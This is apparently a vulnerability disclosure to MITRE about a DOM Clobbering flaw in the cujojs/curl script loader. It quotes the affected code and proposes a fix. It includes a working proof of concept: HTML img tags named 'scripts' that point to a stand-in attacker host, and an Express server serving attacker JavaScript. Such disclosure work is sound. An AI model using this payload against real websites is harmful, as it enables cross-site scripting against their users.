Hi, MITRE Security team!
I have discovered a DOM Clobbering vulnerability in the cujojs/curl package. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.
Note that, we have found similar issues in the other popular client-side libraries for building websites, including Webpack (CVE-2024-43788), Vite (CVE-2024-45812), and layui (CVE-2024-47075), which might be good references to this kind of vulnerability.
DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:
[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/
The cujojs/curl will retrieve the configuration from data attribute of the current script tag.
// https://github.com/cujojs/curl/blob/master/src/curl.js#L1133-L1139
findScript: function (predicate) {
var i = 0, scripts, script;
scripts = doc && (doc.scripts || doc.getElementsByTagName('script'));
while (scripts && (script = scripts[i++])) {
if (predicate(script)) return script;
}
}
// https://github.com/cujojs/curl/blob/13170edcbeb9dc55c48ea00e5fec890eec75b59f/src/curl.js#L1141-L1155
extractDataAttrConfig: function () {
var script, attr = '';
script = core.findScript(function (script) {
var run;
// find data-curl-run attr on script element
run = script.getAttribute(bootScriptAttr);
if (run) attr = run;
return run;
});
// removeAttribute is wonky (in IE6?) but this works
if (script) {
script.setAttribute(bootScriptAttr, '');
}
return attr;
}
bootScript = core.extractDataAttrConfig();
// wait a bit in case curl.js is bundled into the boot script
if (bootScript) core.nextTurn(core.bootScript);
// https://github.com/cujojs/curl/blob/13170edcbeb9dc55c48ea00e5fec890eec75b59f/src/curl.js#L691-L742
loadScript: function (def, success, failure) {
// script processing rules learned from RequireJS
// TODO: pass a validate function into loadScript to check if a success really is a success
// insert script
var el = doc.createElement('script');
// initial script processing
function process (ev) {
ev = ev || global.event;
// detect when it's done loading
// ev.type == 'load' is for all browsers except IE6-9
// IE6-9 need to use onreadystatechange and look for
// el.readyState in {loaded, complete} (yes, we need both)
if (ev.type == 'load' || readyStates[el.readyState]) {
delete activeScripts[def.id];
// release event listeners
el.onload = el.onreadystatechange = el.onerror = ''; // ie cries if we use undefined
success();
}
}
function fail (e) {
// some browsers send an event, others send a string,
// but none of them send anything useful, so just say we failed:
failure(new Error('Syntax or http error: ' + def.url));
}
// set type first since setting other properties could
// prevent us from setting this later
// actually, we don't even need to set this at all
//el.type = 'text/javascript';
// using dom0 event handlers instead of wordy w3c/ms
el.onload = el.onreadystatechange = process;
el.onerror = fail;
// js! plugin uses alternate mimetypes
el.type = def.mimetype || 'text/javascript';
// TODO: support other charsets?
el.charset = 'utf-8';
el.async = !def.order;
el.src = def.url;
// loading will start when the script is inserted into the dom.
// IE will load the script sync if it's in the cache, so
// indicate the current resource definition if this happens.
activeScripts[def.id] = el;
head.insertBefore(el, insertBeforeEl);
// the js! plugin uses this
return el;
}
However, the document.scripts lookup can be shadowed by an attacker injected non-script HTML elements (e.g., ) via the browser's named DOM access mechanism. This manipulation allows an attacker to replace the intended script elements with an array of attacker-controlled scriptless HTML elements. When this happens, the src attribute of the attacker-controlled element is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.
1/ Download the curl from the github.
git clone https://github.com/cujojs/curl.git && cd curl
2/ Create a HTML pape as the poc.html:
<html>
<body>
<img name="scripts" src="http://attacker.controlled.com" data-curl-run="http://attacker.controlled.com">
<img name="scripts" src="http://attacker.controlled.com" data-curl-run="http://attacker.controlled.com">
<script src="./curl/dist/curl/curl.js">
</body>
</html>
3/ One could setup the attacker server like :
const express = require('express');
const path = require('path');
const app = express();
const port = 9999;
app.use((req, res, next) => {
res.setHeader('Access-Control-Allow-Origin', '*');
res.setHeader('Access-Control-Allow-Headers', 'Content-Type');
res.setHeader('Content-Type', 'application/javascript');
next();
});
app.get('*', (req, res) => {
res.sendFile(path.join(__dirname, 'alert.js'));
});
app.listen(port, () => {
console.log(`Attacker Server listening on http://localhost:${port}`);
});
This vulnerability can result in cross-site scripting (XSS) attacks on websites that integrate curl and allow users to inject certain scriptless HTML tags without properly sanitizing the name attributes.
We recommend replacing document.scripts with document.getElementsByTagName('script') for referring to script elements. This will mitigate the possibility of DOM Clobbering attacks leveraging the name attribute.